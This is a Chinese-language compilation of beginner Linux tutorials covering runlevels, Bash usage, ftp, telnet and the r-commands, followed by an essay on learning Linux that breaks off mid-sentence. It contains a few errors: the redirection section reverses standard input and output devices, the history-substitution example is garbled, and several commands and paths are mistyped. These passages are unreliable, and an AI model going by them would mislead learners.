# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#

# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
#
id:5:initdefault:

将上面最后一行的5改成3，就能让系统不在图形下登陆，对其它几个数字我也作一下介绍：
0：停机(不要设置为启动默认级别)
1：单用户模式
2：多用户，无NFS(如果您没有配置网络，该级别与3一样)
3：完全多用户模式
4：不使用
5：X11图形模式
6：重启(不要设置为启动默认级别)


Linux的shell

Linux的shell好比DOS的COMMAND.COM，在用户和系统之间架起一座桥梁，让用户方便地操作系统。由于Linux是一个完全开放的平台，有许多人都为它编写了Shell程序。其中的BASH(Baurne Again SHell)容纳了其他Shell程序的许多特征，功能十分全面，所以我们以它为例来讲解Shell的一些用法。
在开始讲解Linux的一些用法之前，我们将先介绍一些命令，以便读者在以后的文中做参考。
1.ls命令
格式：ls [选项] [文件列表]
选项：无，显示当前目录的文件，类似DOS下的dir/w命令；
-l，显示文件的详细内容，有文件类型、文件权限、链接或目录计数、所有者、所有组、文件大小、文件日期和文件名。
-R，从指定目录开始列出所有向下的目录中的文件，类似DOS下的dir/s命令。
2.who命令
格式：who
选项：无，显示当前都有哪些用户在使用Linux。
3.cat命令
格式：cat [文件列表]
作用：显示文件列表中文件的内容。
4.passwd命令
格式：passwd
作用：设定用户口令。
5.pwd命令
格式：pwd
作用：显示当前路径。类似DOS下无参数的cd命令。
6.cd命令
格式：cd [路径名]
作用：改变当前路径，同DOS下的cd命令。
7.rm命令
格式：rm [文件列表]
作用：删除文件列表中的文件。同DOS下的del命令。
8.wc命令
格式：wc [选项] [文件名]
选项：无，显示文件的行数、词数、字符数。
-w，只显示文件的词数。
下面我们将开始讲述Linux Shell的一些用法。
一、命令行编辑
在Linux下，当我们输入一行命令但没有按Enter键时发现输入有误，我们应该怎么办？Linux为我们提供了两个特殊符号@和#。
@号的作用是将整行废除。例如：
$wwho @
who
root tty1 Dec 3 10:22
cl tty2 Dec 3 11:57
cxp tty3 Dec 3 13:54
在这个例子中，命令的头一个字符有误，用@废除这一行，然后重新输入who命令。
#号的作用是将前一个字符废除。例如：
$ww#hho##o
root tty1 Dec 3 10:22
cl tty2 Dec 3 11:57
cxp tty3 Dec 3 13:54
在这个例子中，第一个#用于废除多写的那个w，第二个#把o删除，第三个#把多写h的删除，再补上o，就是who命令。
这样看来Linux的操作十分麻烦，其实这两项功能多用于那些老的键盘上。在现在的键盘上自然要方便的多了。你可以通过左右键、Del键、退格键来编辑命令行，就像在文本文件中编辑一行文本一样轻松，这可比DOS还要方便。
二、命令补全
当用户输入一个命令的一部分后，按Tab键，Shell将试图补全这个命令。例如：
$pass< Tab>
Bash知道这是一个命令，并查找以pass开头的命令，当查到只有passwd符合条件时，Bash将把命令补全。如果查找到多个以输入字符串开头的命令，则会发出警告声，在按一下Tab键，将显示出以此字符串开头的命令。例如：
$pas< Tab>< Tab>
passwd paste
此时在原输入字符串的基础上增加字符避免多义性后，再用Tab键即可补全命令。
Bash不仅能补全命令，还能补全做命令参数的文件名，如：
$ls -l /home/public/c< Tab>< Tab>
clfile cxpfile
$ls -l /home/public/cl< Tab>
-rw-r--r-- 2 cl user 21 Dec 3 12:37clfile
在这个例子中，按第一个Tab键，会有警告声，第二个Tab键用于显示在/home/public目录下同以c开头的文件的名称，然后添加字符l，在按Tab键，Bash将补全文件名，即clfile。
三、历史表(history list)
因为用户很有可能用到过去用过的命令，所以Bash将每次输入的命令都记录在历史表中以便将来使用。历史表可以容纳下500条命令。这么大的容量足够我们使用的了。在退出登录时，Bash将历史表的内容保存到.bash_history文件中，在登录时，又将.bash_history的内容写入历史表中，这样一来就好像接着上一次登录一样，我们可以使用history命令来显示历史表中的记录。例如：
$history
210 who
211 passwd
212 cd public
213 cp /home/file/clfile .
214 cp /home/file/cxpfile .
215 ls -l /home/pubic
从例子中可以看出，每一个命令占一行，被称为一个事件(event)，每一个事件的前一部分的数字被称为事件号，后一部分则是命令。
如果我们想要执行历史表中的命令，我们可以用历史代替操作符(!)加上事件号来实现。例如：
$!210
who
root tty1 Dec 3 10:22
cl tty2 Dec 3 11:57
cxp tty3 Dec 3 13:54
在例子中，我们执行了历史表中事件号为210的who命令。
如果想要执行最近一次的命令，可以如下输入：
$!!
who
root tty1 Dec 3 10:22
cl tty2 Dec 3 11:57
cxp tty3 Dec 3 13:54
我们也可以用!和命令连用，来重复过去执行过的命令。这样的优点是不必写出命令的参数。如：
$!ls
ls -l /home/pubic
-rw-r--r-- 2 cl user 21 Dec 3 12:37clfile
-rw-rw-r-- 2 cxp user 27 Dec 3 12:33cxpfile
还有一种方法是在命令的任何位置查找与指定输入部分相同的命令。具体做法是用一对?把要查找的字符串括起来，例如：
$!?-l?
ls -l /home/pubic
-rw-r--r-- 2 cl user 21 Dec 3 12:37clfile
-rw-rw-r-- 2 cxp user 27 Dec 3 12:33cxpfile
在这条命令中，Bash在每个事件中搜索有无-l这个字符串，当搜索到有-l字符串的ls -l /home/pubic命令时，就执行它。
如果第二个问号后面再没有其他的东西，则可省略第二个问号，因此上面的例子也可以写成：
$!?-l
如果要重复命令，但又要做些改动，可以用s/old/new来实现，它的作用是将old部分的字符串换成new部分的字符串。例如：
$!?-l?/public/cl
ls -l /home/cl
drwxrw-r-- 1 cl user 1067 Apr 19 23:35mp
-rw-r--r-- 2 cl user 21 Dec 3 13:41clfile
这个例子是将ls -l /home/public命令中的public换成cl，然后执行。即执行ls -l /home/cl。
其实，上面这些命令还有一个很简单的实现方法，即按向上键，在提示符后就会出现前一次的命令。因此，我们可以通过按上键在历史表中从尾部向前查找命令。当找到要执行的命令后，可以直接按Enter键执行，也可以用前面介绍的命令行编辑方法修改命令。而向下键的作用正好与向上键相反，是从前向后查找历史表。大家可以在实际运用中体会它们的用法。
四、路径名扩展
我想大家对DOS中的*和?不陌生吧。在Linux下它们的用途完全相同。
*代表任意一个字符串，例如：
$ls -l /home/public/c*
-rw-r--r-- 2 cl user 21 Dec 3 12:37clfile
-rw-rw-r-- 2 cxp user 27 Dec 3 12:33cxpfile
在这个例子中，Bash将*扩展后使c*变为clfile、cxpfile。
?代表任意一个字符，例如：
$cat /home/public/c?file
User name is CaoLei.
在这条命令中，Bash将?扩展后得到clfile，即执行cat /home/public/clfile命令。
同DOS一样，Linux允许在一行中重复使用*和?，如：
$ls c*f*
clfile cxpfile
$ls c?pf?le
cxpfile
在Linux中，比DOS还多一种路径名扩展方式，即用[]把要匹配的字符括起来，如：
$rm dirfle[12346789]
这行命令的作用是删除名为dirfile1、dirfile2、…、dirfile4、dirfile6、…、dirfile9的这些文件。我们也可以用一种 比较简单的写法来表示上面的命令：
$rm dirfile[1-46-9]
不仅可以用数字，还可以使用字母：
$rm dirfile[abcdefghijklmnopqrstuvwxyz]
$rm dirfile[a-z]
这两条命令是同一个意思，它们都是把名为dirfilea、…、dirfilez的这些文件删除。
五、输入/输出重新定向
Linux命令一般从标准输出设备获得信息，经过命令程序处理后，再将结果送到标准输出设备上。键盘既是Linux的标准输出设备，显示器既是Linux的标准输入设备。
有时，要从文件中获得信息，或是将结果送到文件中。因为每个命令不一定都带有相应的参数，所以Bash提供了将命令的标准输出和标准输入重新定向的功能，这些功能可以通过相应的符号表示。
1.>和>>
>的功能是将命令的输出送入文件中。如果文件不存在，则创建这个文件；如果文件存在，则覆盖这个文件，如：
$ls -l > dirfile
$cat dirfile
-rw-r--r-- 2 cl user 21 Dec 3 12:37clfile
-rw-rw-r-- 2 cxp user 27 Dec 3 12:33cxpfile
这个例子中，第一个命令前半部分是列出一个目录的文件清单，在一般情况下文件清单显示到屏幕上。但后半部分有>号，Bash将标准输出定义为名为dirfilr的文件，将显示结果保存到了这个文件中。第二个命令用于察看dirfile文件的内容，它的内容和直接使用ls -l的结果一样。
>>的功能同>相似，不同的是：如果文件存在，它并不是覆盖文件，而是将结果添加的文件的后面。例如：
$ls -l >> dirfile
$cat dirfile
-rw-r--r-- 2 cl user 21 Dec 3 12:37clfile
-rw-rw-r-- 2 cxp user 27 Dec 3 12:33cxpfile
-rw-r--r-- 2 cl user 21 Dec 3 12:37clfile
-rw-rw-r-- 2 cxp user 27 Dec 3 12:33cxpfile
2.2>、2>>和&>
在Linux中标准输出和错误输出是不同的。在一般情况下，它们都把结果送到显示器上，但当输出重定向时，我们就可以看出它们是不同的了。
$ls mp > lserr
ls:mp: No such file or directory.
$cat lserr
$
在上面的命令中，没有mp文件或目录，所以出现错误信息，但错误信息并未保存到lserr文件中，由此可见标准输出和错误输出是不同的。如果我们想把错误信息保存到文件中，可以使用2>。
$ls mp 2> lserr
$cat lserr
ls:mp: No such file or directory.
2>>是将错误信息添加到文件尾部。但如果我们想把标准输出和错误输出都保存到一个文件时，该怎么办？我们可以使用&>。
3.<
它的作用正好与>相反，即把文件中的内容送入命令中。如：
$wc < /etc/passwd
18 20 608 /etc/passwd
输入/输出重新定向是一种十分有用的功能，它可以是许多命令的功能增强，办到一些这些命令原本办不到的事。
六、管道
我相信各位在DOS中可以都用过这个功能，用竖杠字符|来将多个命令连结起来。用|前面的命令的输出做|后面的命令的输入，组合出十分有用的命令。这就是管道。通过下面的例子我们能了解它的用法。
$ls /bin | wc -w
87
七、作业(job)
Bash把每次执行的命令当做一个作业，并为它们分配了作业号，如果有管道，则将这些命令认为是一个作业。Bash可以用作业号来控制作业的运行、挂起、结束。需注意的是作业不等于进程。有关作业控制的符号和命令如下：
1.&
它用在命令行的最后，作用是将命令放到后台继续运行，立即返回Bash的提示符。
$ls -lR / &> lsfile &
[1]204
$
这行命令是将把/以下的所有目录中的文件送到lsfile，因为权限问题所以会产生错误信息，故用&>。在最后添加了&，所以不等这条命令结束就返回提示符。其中[]中的内容是作业号，后面的数字是进程号。
如果没有在命令后面加&，要想在命令执行中使用提示符，可以用Ctrl+z先将命令挂起，等以后执行，如：
$cat > text
< Ctrl+z>
$
2.jobs命令
这个命令是用于显示系统中所有的作业，如：
$cat > text
< Ctrl+z>
$jobs
[1]+ stopped cat > text
这个例子中，第一条命令是从键盘上读取字符输入到text文件中。接着按Ctrl+z将它挂起，再用jobs命令察看作业。
3.fg、bg和kill命令
fg是将作业送到前台运行。如：
$cat > text
< Ctrl+z>
$jobs
[1]+ stopped cat > text
$fg
cat > text
User name is Caolei.
< Ctrl+d>
$
在这个例子中，先用Ctrl+z将cat > text命令挂起，接着用jobs命令察看作业，因为作业号右边有+号，所以它是缺省作业，可以直接用fg命令把它送到前台执行。然后，我们输入了User name is Caolei.做text的内容，用Ctrl+d结束cat > text命令。
bg命令的作用是将作业送到后台，用法同fg一样。
kill命令是将作业立即结束，用法是kill %作业号。例如：
$cat > text
< Ctrl+z>
$jobs
[1]+ stopped cat > text
$bg
$jobs
[1]+ stopped(tty input) cat > text
$kill %1
上面的例子中，bg将作业1发送到后台执行(不是挂起),但因为cat > text需要从键盘上获得输入，放到后台无法运行，故被自动挂起。
到此为止，我们总共介绍了Bash的七大功能。很好的利用它们，可以使我们更好地操作各种命令来完成我们的工作。.


Linux的常用网络命令

ftp 传输文件
telnet 登录到远程计算机上
r - 使用各种远程命令
netstat 查看网络的状况
nslookup 查询域名和IP地址的对应
finger 查询某个使用者的信息
ping 查询某个机器是否在工作

使用ftp命令进行远程文件传输
ftp命令是标准的文件传输协议的用户接口。ftp是在TCP/IP网络上的计算机之间传输文件的简单有效的方法。它允许用户传输ASCII文件和二进制文件。 在ftp会话过程中，用户可以通过使用ftp客户程序连接到另一台计算机上。从此，用户可以在目录中上下移动、列出目录内容、把文件从远程机拷贝到本地机上、把文件从本地机传输到远程系统中。

需要注意的是，如果用户没有那个文件的存取权限，就不能从远程系统中获得文件或向远程系统传输文件。 为了使用ftp来传输文件，用户必须知道远程计算机上的合法用户名和口令。这个用户名/口令的组合用来确认ftp 会话，并用来确定用户对要传输的文件可以进行什么样的访问。另外，用户显然需要知道对其进行ftp 会话的计算机的名字或IP地址。

Ftp命令的功能是在本地机和远程机之间传送文件。该命令的一般格式如下：
$ ftp 主机名/IP

其中“主机名/IP”是所要连接的远程机的主机名或IP地址。在命令行中，主机名属于选项，如果指定主机名，ftp将试图与远程机的ftp服务程序进行连接；如果没有指定主机名，ftp将给出提示符，等待用户输入命令： $ ftp ftp > 此时在ftp>提示符后面输入open命令加主机名或IP地址，将试图连接指定的主机。 不管使用哪一种方法，如果连接成功，需要在远程机上登录。用户如果在远程机上有帐号，就可以通过ftp使用这一帐号并需要提供口令。
在远程机上的用户帐号的读写权限决定该用户在远程机上能下载什么文件和将上载文件放到哪个目录中。 如果没有远程机的专用登录帐号，许多ftp站点设有可以使用的特殊帐号。这个帐号的登录名为anonymous（也称为匿名ftp），当使用这一帐号时，要求输入email地址作为口令。 如果远程系统提供匿名ftp服务，用户使用这项服务可以登录到特殊的，供公开使用的目录。

一般专门提供两个目录：pub目录和incoming目录。pub目录包含该站点供公众使用的所有文件，incoming目录存放上载到该站点的文件。 一旦用户使用ftp在远程站点上登录成功，将得到“ftp>”提示符。现在可以自由使用ftp提供的命令，可以用 help命令取得可供使用的命令清单，也可以在 help命令后面指定具体的命令名称，获得这条命令的说明。
最常用的命令有：
ls 列出远程机的当前目录
cd 在远程机上改变工作目录
lcd 在本地机上改变工作目录
ascii 设置文件传输方式为ASCII模式
binary 设置文件传输方式为二进制模式
close终止当前的ftp会话
hash 每次传输完数据缓冲区中的数据后就显示一个#号
get（mget） 从远程机传送指定文件到本地机
put（mput） 从本地机传送指定文件到远程机
open 连接远程ftp站点
quit断开与远程机的连接并退出ftp
? 显示本地帮助信息
! 转到Shell中

下面简单将ftp常用命令作一简介。
启动ftp会话 open命令用于打开一个与远程主机的会话。该命令的一般格式是： open 主机名/IP 如果在ftp 会话期间要与一个以上的站点连接，通常只用不带参数的ftp命令。如果在会话期间只想与一台计算机连接，那么在命令行上指定远程主机名或IP地址作为ftp命令的参数。 终止ftp会话 close、disconnect、quit和bye命令用于终止与远程机的会话。close和disronnect命令关闭与远程机的连接，但是使用户留在本地计算机的ftp程序中。quit和bye命令都关闭用户与远程机的连接，然后退出用户机上的ftp 程序。 改变目录 “cd [目录]”命令用于在ftp会话期间改变远程机上的目录，lcd命令改变本地目录，使用户能指定查找或放置本地文件的位置。 远程目录列表 ls命令列出远程目录的内容，就像使用一个交互shell中的ls命令一样。ls命令的一般格式是： ls [目录] [本地文件] 如果指定了目录作为参数，那么ls就列出该目录的内容。如果给出一个本地文件的名字，那么这个目录列表被放入本地机上您指定的这个文件中。 从远程系统获取文件 get和mget命令用于从远程机上获取文件。get命令的一般格式为： get 文件名 您还可以给出本地文件名，这个文件名是这个要获取的文件在您的本地机上创建时的文件名。如果您不给出一个本地文件名，那么就使用远程文件原来的名字。 mget命令一次获取多个远程文件。mget命令的一般格式为： mget 文件名列表 使用用空格分隔的或带通配符的文件名列表来指定要获取的文件，对其中的每个文件都要求用户确认是否传送。 　 向远程系统发送文件 put和mput命令用于向远程机发送文件。Put命令的一般格式为： put 文件名 mput命令一次发送多个本地文件，mput命令的一般格式为： mput 文件名列表 使用用空格分隔的或带通配符的文件名列表来指定要发送的文件。对其中的每个文件都要求用户确认是否发送。 改变文件传输模式 默认情况下，ftp按ASCII模式传输文件，用户也可以指定其他模式。ascii和brinary命令的功能是设置传输的模式。用ASCII模式传输文件对纯文本是非常好的，但为避免对二进制文件的破坏，用户可以以二进制模式传输文件。 检查传输状态 传输大型文件时，可能会发现让ftp提供关于传输情况的反馈信息是非常有用的。hash命令使ftp在每次传输完数据缓冲区中的数据后，就在屏幕上打印一个#字符。本命令在发送和接收文件时都可以使用。 ftp中的本地命令 当您使用ftp时，字符“!”用于向本地机上的命令shell传送一个命令。如果用户处在ftp会话中，需要shell做某些事，就很有用。例如用户要建立一个目录来保存接收到的文件。如果输入!mkdir new_dir，那么Linux就在用户当前的本地目录中创建一个名为new_dir 的目录。

从远程机grunthos下载二进制数据文件的典型对话过程如下：
$ ftp grunthos Connected to grunthos 220 grunthos ftp server Name （grunthosc）: anonymous 33l Guest login ok, send your complete e-mail address as password. Password: 230 Guest 1ogin ok, access restrictions apply. Remote system type is UNIX. ftp > cd pub 250 CWD command successful. ftp > ls 200 PORT command successful. l50 opening ASCII mode data connection for /bin/1s. total ll4 rog1 rog2 226 Transfer comp1ete . ftp > binary 200 type set to I. ftp > hash Hash mark printing on （1024 bytes/hash mark）. ftp > get rog1 200 PORT command successfu1. 150 opening BINARY mode data connection for rogl （l4684 bytes）. # # # # # # # # # # # # # 226 Transfer complete. 14684 bytes received in 0.0473 secs （3e + 02 Kbytes/sec） ftp > quit 22l Goodbye.

使用telnet命令访问远程计算机
用户使用telnet命令进行远程登录。该命令允许用户使用telnet协议在远程计算机之间进行通信，用户可以通过网络在远程计算机上登录，就像登录到本地机上执行命令一样。 为了通过telnet登录到远程计算机上，必须知道远程机上的合法用户名和口令。虽然有些系统确实为远程用户提供登录功能，但出于对安全的考虑，要限制来宾的操作权限，因此，这种情况下能使用的功能是很少的。当允许远程用户登录时，系统通常把这些用户放在一个受限制的shell中，以防系统被怀有恶意的或不小心的用户破坏。 用户还可以使用telnet从远程站点登录到自己的计算机上，检查电子邮件、编辑文件和运行程序，就像在本地登录一样。
但是，用户只能使用基于终端的环境而不是X Wndows环境，telnet只为普通终端提供终端仿真，而不支持 X Wndow等图形环境。 telnet命令的一般形式为： telnet 主机名/IP 其中“主机名/IP”是要连接的远程机的主机名或IP地址。如果这一命令执行成功，将从远程机上得到login：提示符。 使用telnet命令登录的过程如下： $ telnet 主机名/IP 启动telnet会话。 一旦telnet成功地连接到远程系统上，就显示登录信息并提示用户输人用户名和口令。如果用户名和口令输入正确，就能成功登录并在远程系统上工作。 在telnet提示符后面可以输入很多命令，用来控制telnet会话过程，在telnet联机帮助手册中对这些命令有详细的说明。

下面是一台Linux计算机上的telnet会话举例：
$ telnet server. somewhere. com Trying 127.0.0.1… Connected to serve. somewhere. com. Escape character is \?]\. “TurboLinux release 4. 0 （Colgate） 　 kernel 2.0.18 on an I486 　 login: bubba password: Last login:Mon Nov l5 20:50:43 for localhost Linux 2. 0.6. （Posix）. server: ~$ server: ~$ logout Connection closed by foreign host $

用户结束了远程会话后，一定要确保使用logout命令退出远程系统。然后telnet报告远程会话被关闭，并返回到用户的本地机的Shell提示符下。 r-系列命令 除ftp和telnet以外，还可以使用r-系列命令访问远程计算机和在网络上交换文件。 使用r-系列命令需要特别注意，因为如果用户不小心，就会造成严重的安全漏洞。用户发出一个r-系列命令后，远程系统检查名为/etc/hosts.equiv的文件，以查看用户的主机是否列在这个文件中。如果它没有找到用户的主机，就检查远程机上同名用户的主目录中名为．rhosts的文件，看是否包括该用户的主机。如果该用户的主机包括在这两个文件中的任何一个之中，该用户执行r-系列命令就不用提供口令。

虽然用户每次访问远程机时不用键入口令可能是非常方便的，但是它也可能会带来严重的安全问题。我们建议用户在建立/etc/hosts.equiv和.rhosts文件之前，仔细考虑r-命令隐含的安全问题。

rlogin命令
rlogin 是“remote login”（远程登录）的缩写。该命令与telnet命令很相似，允许用户启动远程系统上的交互命令会话。rlogin 的一般格式是：
rlogin [ -8EKLdx ] [ -e char ] [-k realm ] [ - l username ] host

一般最常用的格式是： rlogin host 该命令中各选项的含义为：
-8 此选项始终允许8位输入数据通道。该选项允许发送格式化的ANSI字符和其他的特殊代码。如果不用这个选项，除非远端的终止和启动字符不是或，否则就去掉奇偶校验位。
-E 停止把任何字符当作转义字符。当和-8选项一起使用时，它提供一个完全的透明连接。
-K 关闭所有的Kerberos确认。只有与使用Kerberos 确认协议的主机连接时才使用这个选项。
-L 允许rlogin会话在litout模式中运行。要了解更多信息，请查阅tty联机帮助。
-d 打开与远程主机进行通信的TCP sockets的socket调试。要了解更多信息，请查阅setsockopt的联机帮助。
-e 为rlogin会话设置转义字符，默认的转义字符是“~”，用户可以指定一个文字字符或一个\\nnn形式的八进制数。
-k 请求rlogin获得在指定区域内的远程主机的Kerberos许可，而不是获得由krb_realmofhost（3）确定的远程主机区域内的远程主机的Kerberos 许可。
-x 为所有通过rlogin会话传送的数据打开DES加密。这会影响响应时间和CPU利用率，但是可以提高安全性。

rsh命令
rsh是“remote shell”（远程 shell）的缩写。 该命令在指定的远程主机上启动一个shell并执行用户在rsh命令行中指定的命令。如果用户没有给出要执行的命令，rsh就用rlogin命令使用户登录到远程机上。
rsh命令的一般格式是：
rsh [-Kdnx] [-k realm] [-l username] host [command]
一般常用的格式是：
rsh host [command ]
command可以是从shell提示符下键人的任何Linux命令。
rsh命令中各选项的含义如下：
-K 关闭所有的Kerbero确认。该选项只在与使用Kerbero确认的主机连接时才使用。
-d 打开与远程主机进行通信的TCP sockets的socket调试。要了解更多的信息，请查阅setsockopt的联机帮助。
-k 请求rsh获得在指定区域内的远程主机的Kerberos许可，而不是获得由krb_relmofhost（3）确定的远程主机区域内的远程主机的Kerberos许可。
-l 缺省情况下，远程用户名与本地用户名相同。本选项允许指定远程用户名，如果指定了远程用户名，则使用Kerberos 确认，与在rlogin命令中一样。
-n 重定向来自特殊设备/dev/null的输入。
-x 为传送的所有数据打开DES加密。这会影响响应时间和CPU利用率，但是可以提高安全性。 　 Linux把标准输入放入rsh命令中,并把它拷贝到要远程执行的命令的标准输入中。它把远程命令的标准输出拷贝到rsh的标准输出中。它还把远程标准错误拷贝到本地标准错误文件中。任何退出、中止和中断信号都被送到远程命令中。当远程命令终止了，rsh也就终止了。

rcp命令
rcp代表“remote file copy”（远程文件拷贝）。该命令用于在计算机之间拷贝文件。
rcp命令有两种格式。第一种格式用于文件到文件的拷贝；第二种格式用于把文件或目录拷贝到另一个目录中。
rcp命令的一般格式是：
rcp [-px] [-k realm] file1 file2 rcp [-px] [-r] [-k realm] file
directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式：rname@rhost：path，其中rname是远程用户名，rhost是远程计算机名，path是这个文件的路径。
rcp命令的各选项含义如下：
-r 递归地把源目录中的所有内容拷贝到目的目录中。要使用这个选项，目的必须是一个目录。
-p 试图保留源文件的修改时间和模式，忽略umask。
-k 请求rcp获得在指定区域内的远程主机的Kerberos 许可，而不是获得由krb_relmofhost（3）确定的远程主机区域内的远程主机的Kerberos许可。
-x 为传送的所有数据打开DES加密。这会影响响应时间和CPU利用率，但是可以提高安全性。 如果在文件名中指定的路径不是完整的路径名，那么这个路径被解释为相对远程机上同名用户的主目录。如果没有给出远程用户名，就使用当前用户名。如果远程机上的路径包含特殊shell字符，需要用反斜线（\\）、双引号（”）或单引号（’）括起来，使所有的shell元字符都能被远程地解释。 需要说明的是，rcp不提示输入口令，它通过rsh命令来执行拷贝。


Linux的学习方法

Author:魏星

关于我：

    我是一名普通的计算机软件人员，接受过普通的计算机科学教育，有6年工作经验，由于工作
原因接触过的系统包括DOS、Windows、Windows NT、Digital UNIX、VMS、Linux、IRIX，在一个
比较封闭但是比较安静的环境里自学使用Linux两年多的时间，使用过程中逐步系统了自己的计算
机观点，清楚了许多在多年以前老师没有讲清楚或是自己没有想清楚的东西，同样也试着把自己
的一点经验和同事们进行探讨，具备一定的Linux支持的经验，自我感觉学习Linux的过程给了我
一笔非常宝贵的财富，是一个非常明智的决定。

    目的：

    一直有一种想法，就是把自己的学习经验和别人进行探讨，让别人不要重复自己的错误，在
学习和使用Linux的过程中少走弯路，以一种比较轻松的态度来对待Linux系统，并且我也希望能
够为新手提供指路，希望有一天我们的大学生中也能够出现几个象Linus一样的程序员，实际上，
中国有足够的人是应该能够做到这点的，对于国家有这样的程序设计人员或是振臂一呼应者如云
的工程管理人员是一件幸事。

    GNU/Linux的学习实际上是一个不断实践的过程，根据自己的需要不断地选择系统中的软件根
据其相关文档在系统中付诸实施的过程，制定一个自己满意的目标可能效果更好。参考的目标可
能以学习为主更好，倘若你有一定的基础制定一个基于GNU/Linux系统解决方案也不错；参考的应
用范围开始以作为服务器运行更好，而不是作为和Windows 95一样的作桌面系统，比较理想的环
境就是有一台Windows95的机器作为客户端而把Linux作为服务器，我接触Linux很偶然完全是想看
一看免费的UNIX的样子，学习Linux是的目标开始很简单，就是实现类似于Windows NT中的IIS的
功能。

    我把GNU/Linux的学习分为以下三个部分，并根据自己的经验提出注意的事项。

    1、系统安装

    对于熟悉Windows环境的人来说GNU/Linux的安装是一个非常痛苦的过程，对于安装过程中遇
到的问题足以让许多闻风而动的人放弃了GNU/Linux的使用。安装过程中比较典型的问题是硬件不
支持，如声卡和显示卡，其中显示卡的问题一般是希望安装X-WINDOW环境而引起的，并且常常引
起系统重启或安装失败。所以，我给大家的第一个提示就是可以考虑不安装X-WINDOW软件包； 其
次如果你不是使用的Sound Blast系列的声卡，可以考虑不安装声卡；如果你的网络卡不识别可以
考虑更换一块廉价的NE2000兼容网络卡，保证网络的正常工作对于调试客户/服务器方式的应用程
序是必须的,网络服务启动成功但不能正常访问多是由于缺省的路由（default route）没有指定
为网卡的地址引起。由于现在的硬件制造商还没有普遍提供Linux下的驱动程序，所以希望提供象
Windows环境一样的硬件兼容的确有些困难。另外，建议做好可能要数次格式化硬盘的准备，实际
上当你使用Linux系统一段时间后，就会发现以前频繁格式化硬盘实际上是错误的。当然，由一个
具有Linux使用经验的人进行指导安装是最好的选择。同样，有一本关于Linux系统指南的手册是
入门时不错的参考，不过不用太厚的著作因为许多的著作涉及的软件介绍实际多是对软件文档的
复制，最好的文档实际就在你的/usr/doc目录下,当然其文档主要是英文不过都不是太深奥，毕竟
很多软件的作者并不是用英文作为母语,并且开始是可以从/usr/doc/HOWTO开始，如可读性极强的
《DOS-TO-Linux HOWTO》《NET-3-HOWTO》等文档。在不熟悉UNIX命令的情况下，可以使用一个类
似pctools的软件mc,通过他你可以完成许多的文件操作，如文件的浏览、编辑、删除等，当然熟
悉UNIX的基本命令可能是开始时的主要工作，UNIX的命令有一个比较特殊的地方就是有太多的选
择项，其实开始只要会它的基本功能就行。系统的安装和配置是一个不断积累经验的过程，急于
求成可能效果不好，和Windows入门容易深造难刚好相反Linux是入门困难而深造容易。

    2、系统管理

    由于Linux是一个多用户多任务的操作系统，系统管理对于在Windows 95环境下的用户可能是
一个陌生的事情，在熟悉了基本的文件操作命令之后就可以考虑进行系统管理，系统管理的工作
主要分为用户管理、资源管理、软件安装、服务配置和网络。当你使用linuxconf进行系统管理
时，你会发现他许多真正优秀的地方。系统管理是相通的，只要是多用户的系统都存在这样的问
题，实现的方法也是大同小异，通过linuxconf进行管理实际是调用了许多的UNIX命令，就象mc一
样。Linux的通常使用的命令一般放在/usr/sbin、/usr/bin、/sbin、/bin目录下，可以抽点时间
看看到底他们都包含了些什么东西，并且使用man 看一下他该怎么使用。资源管理的一个特色是
文件系统的限额功能，这是UNIX系统普遍具有的功能而在微软的Windows NT 4没有实现的功能。
软件安装实际就是使用RPM软件或是直接使用tar，其中RPM包格式的软件更容易安装和使用。我对
服务的理解是系统的驻留程序，要配置Linux的各种服务需要了解涉及的程序和多半在/etc目录下
配置文件的作用，/etc目录和Windows的注册表文件类似，包含了系统启动和相关软件的配置信
息，在集中管理方面应该说Windows做得更好，不过/etc的文件多半是文本文件，你可以使用编辑
器打开他们，其中很多文件里包含了详细的配置帮助，配置服务的过程有时可能就是去掉它的注
释符号，实际上Linux下的服务和商用UNIX提供的服务很相似。和在Windows环境相比，最好的是
一般修改一个服务后不需要重新启动系统，而只是重新启动该服务。网络是Linux给我最多收获的
部分，由于Linux是一个互联网上诞生的系统，支持完整的TCP/IP网络协议族，其网络应用软件非
常丰富，并且很多网络应用软件都系出名门且广泛使用，如BIND、apache、wu-ftp、sendmail、
telnetd、NFS、NIS等，并且有非常完备的文档和例子支持，通过配置其网络服务你可以深入了解
TCP/IP协议，构造一个非常不错的内部网环境，相关的文章比较多，在此便不再赘述。同样，支
持Linux的大型关系数据库也不少，目前各大数据库厂商（Oracle、Sybase、Informix)为了对抗
微软的操作系统垄断，均将产品向Linux移植，主要的目的是为大家提供使用和学习的机会，他们
对一般对产品的限制是不能应用于商业领域，同时支持Linux的免费数据库系统也不少如
PostgreSQL、MySQL等，由于SQL数据库涉及数据的并发控制、安全管理、备份等问题，掌握它能
够让你在管理员的角度思考你的数据共享的问题，并且SQL作为一个标准其通用性较强，所以把
Linux作为一个数据库服务器平台是很理想的。同时，将数据库和Web服务器结合起来，利用PHP3
或是其他的CGI工具便能够实现一个基于Web的数据库环境，并且是能够被你自由控制的环境。

    3、程序设计

    目前GNU/Linux系统是一个为程序员提供的操作系统和编程环境，因为其操作系统核心源代码
和应用软件的源代码都是公开的，并且你可以根据你的爱好选择编程语言，你可以通过大量的应
用软件源代码理解进程、线程、文件、设备、网络、RPC、IPC等原来比较抽象的概念。和Windows
环境下的可视开发环境相比，Linux下的编程可能会困难一些，但是如果只是完成特定的服务端应
用，就比较简单和高效，你开了集成环境可能需要的是多开几个虚拟控制台，方便对库函数的参
考。由于应用软件主要是C语言程序，有C语言基础是比较好的，并且应用软件的注释都比较好，
可以比较方便地修改。当然，用JAVA也比较好，可以充分享受其跨平台的优势，还有就是可以使
用以前只是听过而没有用过的Ada、Lisp等语言。基于GNU/Linux的程序设计可以让你充分感受选
择的自由，没有必要大家都去研究核心程序，毕竟计算机是工具，能够为具体应用服务才是计算
机软件人员的职责，仅有系统核心也是不够的。不过，在Linux下编写驱动程序不是象想象的那么
困难，原因主要是我们的设计者为我们提供了详细的指南，感受最深刻的是
在/usr/src/linux/drivers/net/skeleton.c程序，它描述了网卡驱动程序的框架，并且相关的文
档非常多如KHG等，相比Windows就更为开放和容易。我不是程序设计的高手，通过GNU/Linux的使
